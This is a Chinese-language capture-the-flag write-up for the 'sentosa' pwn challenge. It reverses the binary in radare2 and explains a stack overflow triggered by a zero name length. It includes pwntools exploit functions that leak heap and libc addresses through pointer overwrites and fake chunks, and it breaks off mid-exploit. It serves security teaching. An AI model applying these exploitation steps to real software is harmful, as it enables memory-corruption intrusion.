题目复现

$ file sentosa                   
sentosa: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=556ed41f51d01b6a345af2ffc2a135f7f8972a5f, stripped
$ checksec -f sentosa 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   Yes     1               3       sentosa
$ strings libc.so.6| grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu4) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.

保护全开,默认开启 ASLR。

在 Ubuntu-16.04 上玩一下:

$ ./sentosa
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
1
Input length of your project name: 10
Input your project name: AAAA
Input your project price: 10
Input your project area: 10
Input your project capacity: 10
Your project is No.0
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
2
Project: AAAA
Price: 10
Area: 10
Capacity: 10
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
3
Not implemented yet
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
4
Input your projects number: 0

可以新增、查看和删除 project,但修改功能还未实现,这似乎意味着我们不能对堆进行修改。

现在我们给 length 输入 0 试试看:

$ ./sentosa 
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
1
Input length of your project name: 0
Input your project name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Input your project price: 10
Input your project area: 10
Input your project capacity: 10
Your project is No.0
*** stack smashing detected ***: ./sentosa terminated
[2]    5673 abort (core dumped)  ./sentosa

造成了缓冲区溢出,可见字符串读取的函数肯定是存在问题的。

题目解析

下面我们依次来逆向这些函数。

Start a project

[0x00000a30]> pdf @ sub.There_are_too_much_projects_ca0 
/ (fcn) sub.There_are_too_much_projects_ca0 482
|   sub.There_are_too_much_projects_ca0 ();
|           ; UNKNOWN XREF from 0x00001112 (sub.__isoc99_scanf_80 + 146)
|           ; CALL XREF from 0x00001112 (sub.__isoc99_scanf_80 + 146)
|           0x00000ca0      push r13
|           0x00000ca2      push r12
|           0x00000ca4      push rbp
|           0x00000ca5      push rbx
|           0x00000ca6      xor ebx, ebx                                ; ebx 作为序号 i,初始化为 0
|           0x00000ca8      sub rsp, 0x88                               ; buffer[0x88]
|           0x00000caf      mov rax, qword fs:[0x28]                   ; [0x28:8]=0x2138 ; '('
|           0x00000cb8      mov qword [rsp + 0x78], rax
|           0x00000cbd      xor eax, eax
|           0x00000cbf      cmp dword [0x002020c0], 0x10                ; [0x002020c0] 存储当前数量 proj_num
|           0x00000cc6      lea rax, [0x00202040]                       ; 取出数组 projects
|       ,=< 0x00000ccd      jg 0xe80                                    ; proj_num 大于 0x10 时跳转
|       |   0x00000cd3      nop dword [rax + rax]
|       |   ; JMP XREF from 0x00000cea (sub.There_are_too_much_projects_ca0)
|      .--> 0x00000cd8      cmp qword [rax + rbx*8], 0                  ; projects[i] 与 0 比较
|      :|   0x00000cdd      movsxd rbp, ebx
|     ,===< 0x00000ce0      je 0xd10                                    ; projects[i] 为 0 时跳转
|     |:|   0x00000ce2      add rbx, 1                                  ; 否则 i = i+1
|     |:|   0x00000ce6      cmp rbx, 0x10
|     |`==< 0x00000cea      jne 0xcd8                                   ; i 不等于 0x10 时跳转(循环,目的是找到为 0 的 projects[i])
|     | |   0x00000cec      lea rsi, str.Error.                        ; 0x135b ; "Error." ; 否则打印出 Error
|     | |   0x00000cf3      mov edi, 1
|     | |   0x00000cf8      xor eax, eax
|     | |   0x00000cfa      call sym.imp.__printf_chk
|     | |   0x00000cff      xor edi, edi
|     | |   0x00000d01      call sym.imp.exit                          ; void exit(int status)
      | |   0x00000d06      nop word cs:[rax + rax]
|     | |   ; JMP XREF from 0x00000ce0 (sub.There_are_too_much_projects_ca0)
|     `---> 0x00000d10      lea rsi, str.Input_length_of_your_project_name: ; 0x11f0 ; "Input length of your project name: "
|       |   0x00000d17      mov edi, 1
|       |   0x00000d1c      xor eax, eax
|       |   0x00000d1e      call sym.imp.__printf_chk
|       |   0x00000d23      lea rsi, [rsp + 0xc]
|       |   0x00000d28      lea rdi, [0x00001309]                      ; "%d"
|       |   0x00000d2f      xor eax, eax
|       |   0x00000d31      call sym.imp.__isoc99_scanf
|       |   0x00000d36      movsxd rax, dword [rsp + 0xc]               ; rax = length
|       |   0x00000d3b      cmp eax, 0x59                              ; 'Y'
|      ,==< 0x00000d3e      ja 0xe70                                    ; 表示 length 不能大于 0x59
|      ||   0x00000d44      lea rdi, [rax + 0x15]
|      ||   0x00000d48      lea r13, [rsp + 0x10]                       ; r13 = rsp + 0x10
|      ||   0x00000d4d      call sym.imp.malloc                         ; malloc(length+0x15) 分配 project
|      ||   0x00000d52      mov edx, dword [rsp + 0xc]                  ; 取出 length 到 edx
|      ||   0x00000d56      mov qword [rsp + 0x6a], rax                 ; 将 project 地址放到 [rsp + 0x6a]
|      ||   0x00000d5b      mov ecx, 0xb
|      ||   0x00000d60      mov rdi, r13                                ; rdi = rsp+0x10
|      ||   0x00000d63      lea rsi, str.Input_your_project_name:      ; 0x12d4 ; "Input your project name: "
|      ||   0x00000d6a      lea r12, [rax + rdx + 5]                    ; r12 = &project[length+5]
|      ||   0x00000d6f      mov dword [rax], edx                        ; project->length = length
|      ||   0x00000d71      xor eax, eax                                ; eax = 0
|      ||   0x00000d73      rep stosq qword [rdi], rax                  ; 清空 buffer
|      ||   0x00000d76      xor edx, edx                                ; edx = 0
|      ||   0x00000d78      mov word [rdi], dx                          ; [rsp+0x10] = 0
|      ||   0x00000d7b      mov edi, 1
|      ||   0x00000d80      call sym.imp.__printf_chk
|      ||   0x00000d85      mov esi, dword [rsp + 0xc]                 ; [0xc:4]=0
|      ||   0x00000d89      mov rdi, r13
|      ||   0x00000d8c      call sub.read_bf0                           ; 调用函数 read_bf0(rsp+0x10, length) 读入 name
|      ||   0x00000d91      mov rax, qword [rsp + 0x6a]                 ; rax 存放 project
|      ||   0x00000d96      movsxd rdx, dword [rsp + 0xc]              ; [0xc:4]=0
|      ||   0x00000d9b      mov rsi, r13
|      ||   0x00000d9e      lea rdi, [rax + 4]
|      ||   0x00000da2      call sym.imp.strncpy                        ; strncpy(project+4, name, length),即将 name 复制到 project->name
|      ||   0x00000da7      lea rsi, str.Input_your_project_price:     ; 0x12ee ; "Input your project price: "
|      ||   0x00000dae      mov edi, 1
|      ||   0x00000db3      mov dword [r12], 1                          ; project[length+5] = 1,即 project->check
|      ||   0x00000dbb      xor eax, eax
|      ||   0x00000dbd      call sym.imp.__printf_chk
|      ||   0x00000dc2      lea rsi, [r12 + 4]                          ; rsi = project[length+5 + 4],即 project->price
|      ||   0x00000dc7      lea rdi, [0x00001309]                      ; "%d"
|      ||   0x00000dce      xor eax, eax
|      ||   0x00000dd0      call sym.imp.__isoc99_scanf
|      ||   0x00000dd5      lea rsi, str.Input_your_project_area:      ; 0x130c ; "Input your project area: "
|      ||   0x00000ddc      mov edi, 1
|      ||   0x00000de1      xor eax, eax
|      ||   0x00000de3      call sym.imp.__printf_chk
|      ||   0x00000de8      lea rsi, [r12 + 8]                          ; rsi = project[length+5 + 8],即 project->area
|      ||   0x00000ded      lea rdi, [0x00001309]                      ; "%d"
|      ||   0x00000df4      xor eax, eax
|      ||   0x00000df6      call sym.imp.__isoc99_scanf
|      ||   0x00000dfb      lea rsi, str.Input_your_project_capacity:  ; 0x1326 ; "Input your project capacity: "
|      ||   0x00000e02      mov edi, 1
|      ||   0x00000e07      xor eax, eax
|      ||   0x00000e09      call sym.imp.__printf_chk
|      ||   0x00000e0e      lea rsi, [r12 + 0xc]                        ; rsi = project[length+5 + 12],即 project->capacity
|      ||   0x00000e13      lea rdi, [0x00001309]                      ; "%d"
|      ||   0x00000e1a      xor eax, eax
|      ||   0x00000e1c      call sym.imp.__isoc99_scanf
|      ||   0x00000e21      mov rdx, qword [rsp + 0x6a]                 ; 取出 project
|      ||   0x00000e26      lea rax, [0x00202040]
|      ||   0x00000e2d      lea rsi, str.Your_project_is_No._d         ; 0x1344 ; "Your project is No.%d\n"
|      ||   0x00000e34      mov edi, 1
|      ||   0x00000e39      mov qword [rax + rbp*8], rdx                ; projects[i] = project,放到数组中
|      ||   0x00000e3d      mov edx, ebx
|      ||   0x00000e3f      xor eax, eax
|      ||   0x00000e41      call sym.imp.__printf_chk
|      ||   0x00000e46      add dword [0x002020c0], 1                   ; proj_num 加 1
|      ||   ; JMP XREF from 0x00000e7c (sub.There_are_too_much_projects_ca0)
|      ||   ; JMP XREF from 0x00000e8c (sub.There_are_too_much_projects_ca0)
|    ..---> 0x00000e4d      mov rax, qword [rsp + 0x78]                ; [0x78:8]=0x400000003 ; 'x'
|    ::||   0x00000e52      xor rax, qword fs:[0x28]
|   ,=====< 0x00000e5b      jne 0xe8e
|   |::||   0x00000e5d      add rsp, 0x88
|   |::||   0x00000e64      pop rbx
|   |::||   0x00000e65      pop rbp
|   |::||   0x00000e66      pop r12
|   |::||   0x00000e68      pop r13
|   |::||   0x00000e6a      ret
    |::||   0x00000e6b      nop dword [rax + rax]
|   |::||   ; JMP XREF from 0x00000d3e (sub.There_are_too_much_projects_ca0)
|   |::`--> 0x00000e70      lea rdi, str.Invalid_name_length           ; 0x12bf ; "Invalid name length!"
|   |:: |   0x00000e77      call sym.imp.puts                          ; int puts(const char *s)
|   |`====< 0x00000e7c      jmp 0xe4d
    | : |   0x00000e7e      nop
|   | : |   ; JMP XREF from 0x00000ccd (sub.There_are_too_much_projects_ca0)
|   | : `-> 0x00000e80      lea rdi, str.There_are_too_much_projects   ; 0x12a2 ; "There are too much projects!"
|   | :     0x00000e87      call sym.imp.puts                          ; int puts(const char *s)
|   | `===< 0x00000e8c      jmp 0xe4d
|   |       ; JMP XREF from 0x00000e5b (sub.There_are_too_much_projects_ca0)
\   `-----> 0x00000e8e      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)

通过上面的分析可以得到 project 结构体和 projects 数组:

struct project {
    int length;
    char name[length];
    int check;
    int price;
    int area;
    int capacity;
} project;

struct project *projects[0x10];

projects 位于 0x00202040,proj_num 位于 0x002020c0

用户输入的 length 必须小于 0x59,使用 malloc(length+0x15) 分配一块堆空间作为 project,然后调用 read_buf0() 读入 name 到栈上。读入 name 后将其复制到 project 中,然后将 check 置为 1,最后再依次读入 price、area 和 capacity。

程序自己实现的 read_bf0() 函数如下:

[0x00000a30]> pdf @ sub.read_bf0 
/ (fcn) sub.read_bf0 148
|   sub.read_bf0 ();
|           ; var int local_0h @ rbp-0x0
|           ; CALL XREF from 0x00000d8c (sub.There_are_too_much_projects_ca0)
|           0x00000bf0      push r14
|           0x00000bf2      push r13
|           0x00000bf4      push r12
|           0x00000bf6      push rbp
|           0x00000bf7      mov r12, rdi                                ; r12 存储 buffer 地址
|           0x00000bfa      push rbx
|           0x00000bfb      sub rsp, 0x10
|           0x00000bff      mov rax, qword fs:[0x28]                   ; [0x28:8]=0x2138 ; '('
|           0x00000c08      mov qword [rsp + 8], rax
|           0x00000c0d      xor eax, eax
|           0x00000c0f      sub esi, 1                                  ; length 减 1
|       ,=< 0x00000c12      je 0xc8a                                    ; length 等于 0 时跳转
|       |   0x00000c14      mov r13d, esi                               ; 否则继续
|       |   0x00000c17      mov rbp, rdi                                ; rbp 存储 buffer 地址
|       |   0x00000c1a      xor ebx, ebx                                ; 循环计算 i,初始化为 0
|       |   0x00000c1c      lea r14, [rsp + 7]                          ; 读入字符到 [rsp+7]
|      ,==< 0x00000c21      jmp 0xc37
       ||   0x00000c23      nop dword [rax + rax]
|      ||   ; JMP XREF from 0x00000c4f (sub.read_bf0)
|     .---> 0x00000c28      add ebx, 1                                  ; i = i + 1
|     :||   0x00000c2b      mov byte [rbp], al                          ; 将字符放到 [rbp]
|     :||   0x00000c2e      add rbp, 1                                  ; rbp = rbp + 1
|     :||   0x00000c32      cmp ebx, r13d
|    ,====< 0x00000c35      je 0xc80                                    ; i 等于 length 时跳转
|    |:||   ; JMP XREF from 0x00000c21 (sub.read_bf0)
|    |:`--> 0x00000c37      xor edi, edi                                ; i 不等于 length 时循环继续
|    |: |   0x00000c39      xor eax, eax
|    |: |   0x00000c3b      mov edx, 1
|    |: |   0x00000c40      mov rsi, r14
|    |: |   0x00000c43      call sym.imp.read                           ; read(0, rsp+7, 1) 每次读入一个字节
|    |: |   0x00000c48      movzx eax, byte [rsp + 7]                  ; [0x7:1]=0
|    |: |   0x00000c4d      cmp al, 0xa                                 ; 判断是否为 '\n'
|    |`===< 0x00000c4f      jne 0xc28                                   ; 不是 '\n' 时循环继续
|    |  |   0x00000c51      movsxd rbx, ebx                             ; 否则 rbx = i
|    |  |   0x00000c54      mov byte [r12 + rbx], 0                     ; buffer[i] = 0,即末尾加 '\x00'
|    |  |   ; JMP XREF from 0x00000c88 (sub.read_bf0)
|    | .--> 0x00000c59      mov rax, qword [rsp + 8]                   ; [0x8:8]=0
|    | :|   0x00000c5e      xor rax, qword fs:[0x28]
|    |,===< 0x00000c67      jne 0xc8e
|    ||:|   0x00000c69      add rsp, 0x10
|    ||:|   0x00000c6d      pop rbx
|    ||:|   0x00000c6e      pop rbp
|    ||:|   0x00000c6f      pop r12
|    ||:|   0x00000c71      pop r13
|    ||:|   0x00000c73      pop r14
|    ||:|   0x00000c75      ret
     ||:|   0x00000c76      nop word cs:[rax + rax]
|    ||:|   ; JMP XREF from 0x00000c35 (sub.read_bf0)
|    `----> 0x00000c80      movsxd rbx, ebx
|     |:|   ; JMP XREF from 0x00000c8c (sub.read_bf0)
|    .----> 0x00000c83      mov byte [r12 + rbx], 0
|    :|`==< 0x00000c88      jmp 0xc59
|    :| |   ; JMP XREF from 0x00000c12 (sub.read_bf0)
|    :| `-> 0x00000c8a      xor ebx, ebx
|    `====< 0x00000c8c      jmp 0xc83
|     |     ; JMP XREF from 0x00000c67 (sub.read_bf0)
\     `---> 0x00000c8e      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)

正如我们一开始猜测的,这个函数是有问题的,如果输入 0 作为 length,则 length-1(能读入的实际长度) 后得到一个负数,在循环判断时,负数永远不会等于一个正数,于是将读入任意长度的字符串(以’\n’结尾),造成缓冲区溢出。

字符串末尾会被加上 ‘\x00’,且开启了 Canary,暂时还没想到如何利用,继续往下看。另外特别注意 malloc 后得到的 project 的地址存放在 rsp + 0x6a 的位置。

View all projects

[0x00000a30]> pdf @ sub.Project:__s_ea0 
/ (fcn) sub.Project:__s_ea0 191
|   sub.Project:__s_ea0 (int arg_4h, int arg_8h, int arg_ch);
|           ; arg int arg_4h @ rbp+0x4
|           ; arg int arg_8h @ rbp+0x8
|           ; arg int arg_ch @ rbp+0xc
|           ; CALL XREF from 0x00001102 (sub.__isoc99_scanf_80 + 130)
|           0x00000ea0      push r12
|           0x00000ea2      push rbp
|           0x00000ea3      lea r12, [0x002020c0]                       ; 取出 &proj_num
|           0x00000eaa      push rbx
|           0x00000eab      lea rbx, [0x00202040]                       ; 取出 &projects
|           0x00000eb2      sub rsp, 0x10
|           0x00000eb6      mov rax, qword fs:[0x28]                   ; [0x28:8]=0x2138 ; '('
|           0x00000ebf      mov qword [rsp + 8], rax
|           0x00000ec4      xor eax, eax
|           0x00000ec6      nop word cs:[rax + rax]
|           ; JMP XREF from 0x00000f3f (sub.Project:__s_ea0)
|       .-> 0x00000ed0      mov rdx, qword [rbx]                        ; 取出此时开头的 project
|       :   0x00000ed3      test rdx, rdx
|      ,==< 0x00000ed6      je 0xf38                                    ; 该 project 为 0 时跳转
|      |:   0x00000ed8      mov eax, dword [rdx]
|      |:   0x00000eda      lea rsi, str.Project:__s                   ; 0x1362 ; "Project: %s\n"
|      |:   0x00000ee1      mov edi, 1
|      |:   0x00000ee6      lea rbp, [rdx + rax + 5]                    ; rbp = project->check
|      |:   0x00000eeb      add rdx, 4                                  ; rdx = project->name
|      |:   0x00000eef      xor eax, eax
|      |:   0x00000ef1      call sym.imp.__printf_chk                   ; 打印出 project->name
|      |:   0x00000ef6      mov edx, dword [arg_4h]                     ; rdx = project->price
|      |:   0x00000ef9      lea rsi, str.Price:__d                     ; 0x136f ; "Price: %d\n"
|      |:   0x00000f00      mov edi, 1
|      |:   0x00000f05      xor eax, eax
|      |:   0x00000f07      call sym.imp.__printf_chk                   ; 打印出 project->price
|      |:   0x00000f0c      mov edx, dword [arg_8h]                     ; rdx = project->area
|      |:   0x00000f0f      lea rsi, str.Area:__d                      ; 0x137a ; "Area: %d\n"
|      |:   0x00000f16      mov edi, 1
|      |:   0x00000f1b      xor eax, eax
|      |:   0x00000f1d      call sym.imp.__printf_chk                   ; 打印出 project->area
|      |:   0x00000f22      mov edx, dword [arg_ch]                     ; rdx = project->capacity
|      |:   0x00000f25      lea rsi, str.Capacity:__d                  ; 0x1384 ; "Capacity: %d\n"
|      |:   0x00000f2c      mov edi, 1
|      |:   0x00000f31      xor eax, eax
|      |:   0x00000f33      call sym.imp.__printf_chk                   ; 打印出 project->capacity
|      |:   ; JMP XREF from 0x00000ed6 (sub.Project:__s_ea0)
|      `--> 0x00000f38      add rbx, 8                                  ; rbx += 8,即 projects 向后移一个
|       :   0x00000f3c      cmp rbx, r12
|       `=< 0x00000f3f      jne 0xed0                                   ; &projects 不等于 &proj_num 时循环继续
|           0x00000f41      mov rax, qword [rsp + 8]                   ; [0x8:8]=0
|           0x00000f46      xor rax, qword fs:[0x28]
|       ,=< 0x00000f4f      jne 0xf5a
|       |   0x00000f51      add rsp, 0x10
|       |   0x00000f55      pop rbx
|       |   0x00000f56      pop rbp
|       |   0x00000f57      pop r12
|       |   0x00000f59      ret
|       |   ; JMP XREF from 0x00000f4f (sub.Project:__s_ea0)
\       `-> 0x00000f5a      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)

该函数用于打印出所有存在的 project 的信息。

Cancel a project

[0x00000a30]> pdf @ sub.There_are_no_project_to_cancel_f60 
/ (fcn) sub.There_are_no_project_to_cancel_f60 207
|   sub.There_are_no_project_to_cancel_f60 ();
|           ; CALL XREF from 0x000010e2 (sub.__isoc99_scanf_80 + 98)
|           0x00000f60      push rbx
|           0x00000f61      sub rsp, 0x10
|           0x00000f65      mov rax, qword fs:[0x28]                   ; [0x28:8]=0x2138 ; '('
|           0x00000f6e      mov qword [rsp + 8], rax
|           0x00000f73      xor eax, eax
|           0x00000f75      mov eax, dword [0x002020c0]                 ; 取出 proj_num
|           0x00000f7b      test eax, eax
|       ,=< 0x00000f7d      jle 0x1010                                  ; proj_num 小于等于 0 时跳转
|       |   0x00000f83      lea rsi, str.Input_your_projects_number:   ; 0x1392 ; "Input your projects number: "
|       |   0x00000f8a      mov edi, 1
|       |   0x00000f8f      xor eax, eax
|       |   0x00000f91      call sym.imp.__printf_chk
|       |   0x00000f96      lea rsi, [rsp + 4]
|       |   0x00000f9b      lea rdi, [0x00001309]                      ; "%d"
|       |   0x00000fa2      xor eax, eax
|       |   0x00000fa4      call sym.imp.__isoc99_scanf                 ; 读入 i 到 rsp+4
|       |   0x00000fa9      movsxd rax, dword [rsp + 4]                ; [0x4:4]=0x10102
|       |   0x00000fae      cmp eax, 0xf
|      ,==< 0x00000fb1      ja 0x1000                                   ; i 大于 0xf 时函数返回
|      ||   0x00000fb3      lea rbx, [0x00202040]                       ; 取出 &projects
|      ||   0x00000fba      mov rdi, qword [rbx + rax*8]                ; 取出 projects[i]
|      ||   0x00000fbe      test rdi, rdi
|     ,===< 0x00000fc1      je 0x1000                                   ; projects[i] 为 0 时函数返回
|     |||   0x00000fc3      mov eax, dword [rdi]
|     |||   0x00000fc5      cmp dword [rdi + rax + 5], 1                ; 检查 projects[i]->check 是否为 1
|    ,====< 0x00000fca      jne 0x1023                                  ; 不为 1 时程序结束
|    ||||   0x00000fcc      call sym.imp.free                           ; free(projects[i]) 释放 project
|    ||||   0x00000fd1      movsxd rax, dword [rsp + 4]                ; [0x4:4]=0x10102
|    ||||   0x00000fd6      sub dword [0x002020c0], 1                   ; proj_num 减 1
|    ||||   0x00000fdd      mov qword [rbx + rax*8], 0                  ; projects[i] = 0 将其置 0
|    ||||   ; JMP XREF from 0x0000100c (sub.There_are_no_project_to_cancel_f60)
|    ||||   ; JMP XREF from 0x0000101c (sub.There_are_no_project_to_cancel_f60)
|  ..-----> 0x00000fe5      mov rax, qword [rsp + 8]                   ; [0x8:8]=0
|  ::||||   0x00000fea      xor rax, qword fs:[0x28]
| ,=======< 0x00000ff3      jne 0x101e
| |::||||   0x00000ff5      add rsp, 0x10
| |::||||   0x00000ff9      pop rbx
| |::||||   0x00000ffa      ret
  |::||||   0x00000ffb      nop dword [rax + rax]
| |::||||   ; JMP XREF from 0x00000fb1 (sub.There_are_no_project_to_cancel_f60)
| |::||||   ; JMP XREF from 0x00000fc1 (sub.There_are_no_project_to_cancel_f60)
| |::|``--> 0x00001000      lea rdi, str.Invalid_number                ; 0x13af ; "Invalid number!"
| |::|  |   0x00001007      call sym.imp.puts                          ; int puts(const char *s)
| |`======< 0x0000100c      jmp 0xfe5
  | :|  |   0x0000100e      nop
| | :|  |   ; JMP XREF from 0x00000f7d (sub.There_are_no_project_to_cancel_f60)
| | :|  `-> 0x00001010      lea rdi, str.There_are_no_project_to_cancel ; 0x1218 ; "There are no project to cancel!"
| | :|      0x00001017      call sym.imp.puts                          ; int puts(const char *s)
| | `=====< 0x0000101c      jmp 0xfe5
| |  |      ; JMP XREF from 0x00000ff3 (sub.There_are_no_project_to_cancel_f60)
| `-------> 0x0000101e      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|    |      ; JMP XREF from 0x00000fca (sub.There_are_no_project_to_cancel_f60)
|    `----> 0x00001023      lea rdi, str.Corrupted_project             ; 0x13bf ; "Corrupted project!"
|           0x0000102a      call sym.imp.puts                          ; int puts(const char *s)
|           0x0000102f      xor edi, edi
\           0x00001031      call sym.imp.exit                          ; void exit(int status)

该函数首先检查 project->check 是否被修改(不等于1),如果没有则释放该 project,并将 projects[i] 置 0。否则程序退出。这个函数似乎没有悬指针之类的问题。

漏洞利用

总结一下,就是在 read_bf0() 函数中存在一个栈溢出漏洞。

我们来看一下 read_bf0() 函数中的内存布局,假设分配一个这样的 project:

start_proj(0x4f, "A"*(0x4f-1), 2, 3, 4)
gdb-peda$ x/22gx $rsp
0x7fffffffec70:	0x00007ffff7dd3780	0x0000004ff7b046e0
0x7fffffffec80:	0x4141414141414141	0x4141414141414141  <-- name
0x7fffffffec90:	0x4141414141414141	0x4141414141414141
0x7fffffffeca0:	0x4141414141414141	0x4141414141414141
0x7fffffffecb0:	0x4141414141414141	0x4141414141414141
0x7fffffffecc0:	0x4141414141414141	0x0000414141414141
0x7fffffffecd0:	0x0000000000000000	0x5555557570100000  <-- project address
0x7fffffffece0:	0x0000000000000000	0x38a9eb4968c1da00  <-- canary
0x7fffffffecf0:	0x000055555555529a	0x00005555555553f8
0x7fffffffed00:	0x00007fffffffed24	0x0000555555554a30
0x7fffffffed10:	0x00007fffffffee40	0x0000555555555117  <-- return address
gdb-peda$ x/g $rsp+0x6a
0x7fffffffecda:	0x0000555555757010  <-- project address
gdb-peda$ x/18gx *(void **)($rsp+0x6a)-0x10
0x555555757000:	0x0000000000000000	0x0000000000000071  <-- project chunk
0x555555757010:	0x414141410000004f	0x4141414141414141  <-- length  <-- name
0x555555757020:	0x4141414141414141	0x4141414141414141
0x555555757030:	0x4141414141414141	0x4141414141414141
0x555555757040:	0x4141414141414141	0x4141414141414141
0x555555757050:	0x4141414141414141	0x4141414141414141
0x555555757060:	0x0000000100004141	0x0000000300000002  <-- check   <-- price, area
0x555555757070:	0x0000000000000004	0x0000000000020f91  <-- capacity    <-- top chunk
0x555555757080:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/18gx 0x555555756040
0x555555756040:	0x0000555555757010	0x0000000000000000  <-- projects
0x555555756050:	0x0000000000000000	0x0000000000000000
0x555555756060:	0x0000000000000000	0x0000000000000000
0x555555756070:	0x0000000000000000	0x0000000000000000
0x555555756080:	0x0000000000000000	0x0000000000000000
0x555555756090:	0x0000000000000000	0x0000000000000000
0x5555557560a0:	0x0000000000000000	0x0000000000000000
0x5555557560b0:	0x0000000000000000	0x0000000000000000
0x5555557560c0:	0x0000000000000001	0x0000000000000000  <-- proj_num

所以其实在覆盖到 Canary 之前,我们是有一个 project 地址可以覆盖的,但由于 read_bf0() 会在字符串末尾加 "\x00",所以我们只能够将地址的低位覆盖为 "\x00"。在新增 project 过程的最后,会将 project address 放到数组 projects 中,所以我们可以将覆盖后的 project address 放进数组。然后利用 View 的功能就可以打印出内容。

另外我们应该注意的是上面的 project address 是最后一次 malloc 返回的地址,即最后添加的 project 的 address。在上面的例子中,如果我们将 project address 覆盖掉,则它指向了 project 的 chunk 头。所以我们可以将其指向一个被释放的 fastbin,它的 fd 指针指向了 heap 上的一个地址,只要将其打印出来就可以通过计算得到 heap 基址。

得到了 heap 基址后,我们就可以将 project address 修改为任意的堆地址,从而读取任意信息。所以下一步我们从堆里得到 libc 地址,接着通过 libc 的 __environ 符号得到 stack 地址,最后就可以从栈上得到 Canary。构造 ROP 得到 shell。

leak heap

def leak_heap():
    global heap_base

    start_proj(0, 'A', 1, 1, 1)         # 0
    start_proj(0, 'A'*0x5a, 1, 1, 1)    # 1
    start_proj(0, 'A', 1, 1, 1)         # 2
    cancel_proj(2)
    cancel_proj(0)
    view_proj()
    io.recvuntil("Capacity: ")
    leak = int(io.recvline()[:-1], 10) & 0xffffffff
    heap_base = (0x55<<40) + (leak<<8)      # 0x55 or 0x56
    log.info("libc base: 0x%x" % heap_base)

首先分配 3 个 fast chunk,其中第 2 个利用栈溢出修改 project address,使其指向第 chunk 0。然后依次释放掉 chunk 2 和 chunk 0,此时 chunk 0 的 fd 指向了 chunk 2:

gdb-peda$ x/18gx 0x555555756040
0x555555756040:	0x0000000000000000	0x0000555555757000  <-- projects
0x555555756050:	0x0000000000000000	0x0000000000000000
0x555555756060:	0x0000000000000000	0x0000000000000000
0x555555756070:	0x0000000000000000	0x0000000000000000
0x555555756080:	0x0000000000000000	0x0000000000000000
0x555555756090:	0x0000000000000000	0x0000000000000000
0x5555557560a0:	0x0000000000000000	0x0000000000000000
0x5555557560b0:	0x0000000000000000	0x0000000000000000
0x5555557560c0:	0x0000000000000001	0x0000000000000000  <-- proj_num
gdb-peda$ x/16gx 0x555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0 [be freed]
0x555555757010:	0x0000555555757040	0x0000010000000100      <-- fd pointer
0x555555757020:	0x0000000000000100	0x0000000000000021  <-- chunk 1
0x555555757030:	0x0000010000000000	0x0000010000000100
0x555555757040:	0x0000000000000100	0x0000000000000021  <-- chunk 2 [be freed]
0x555555757050:	0x0000000000000000	0x0000010000000100
0x555555757060:	0x0000000000000100	0x0000000000020fa1  <-- top chunk
0x555555757070:	0x0000000000000000	0x0000000000000000

然后 View 打印出来就得到了 heap 基址。这种构造方法还是有一点问题的,不能打印出最高位的 0x55,但我们知道这个值相对固定,所以直接加上就可以了。

leak libc

def leak_libc():
    global libc_base

    start_proj(0xf, 'A', 0xd1, 0, 0x64)                     # 0
    start_proj(0x50, '\x01', 1, 1, 1)                       # 2
    start_proj(0x50, 'A'*0x44+'\x21', 1, 1, 1)              # 3
    start_proj(0, 'A'*0x5a + p64(heap_base+0x90), 1, 1, 1)  # 4
    start_proj(0, 'A'*0x5a + p64(heap_base+0x8b), 1, 1, 1)  # 5
    cancel_proj(4)

    view_proj()
    for i in range(5):
        io.recvuntil("Area: ")
    leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
    io.recvuntil("Capacity: ")
    leak_high = int(io.recvline()[:-1], 10) & 0xffff
    libc_base = leak_low + (leak_high<<32) - 0x3c3b78

    log.info("libc base: 0x%x" % libc_base)

由于我们不能直接分配一个 small chunk,所以需要构造一个 fake chunk。利用栈溢出修改 project address 可以做到这一点。另外还需要满足 libc free 的检查,还有 Cancel 过程中的 check。

首先分配 5 个 project,其中最后两个利用漏洞修改了 project address,使其指向 fake chunk。此时内存布局如下:

gdb-peda$ x/18gx 0x555555756040
0x555555756040:	0x0000555555757070	0x0000555555757000  <-- projects
0x555555756050:	0x00005555557570a0	0x0000555555757110
0x555555756060:	0x0000555555757090	0x000055555575708b
0x555555756070:	0x0000000000000000	0x0000000000000000
0x555555756080:	0x0000000000000000	0x0000000000000000
0x555555756090:	0x0000000000000000	0x0000000000000000
0x5555557560a0:	0x0000000000000000	0x0000000000000000
0x5555557560b0:	0x0000000000000000	0x0000000000000000
0x5555557560c0:	0x0000000000000006	0x0000000000000000  <-- proj_num
gdb-peda$ x/50gx 0x555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 1
0x555555757010:	0x0000015500000000	0x0000010000000100
0x555555757020:	0x0000000000000100	0x0000000000000021
0x555555757030:	0x0000010000000000	0x0000010000000100
0x555555757040:	0x0000000000000100	0x0000000000000021
0x555555757050:	0x0000010000000000	0x0000010000000100
0x555555757060:	0x0000000000000100	0x0000000000000031  <-- chunk 0
0x555555757070:	0x000000410000000f	0x0000000000000000
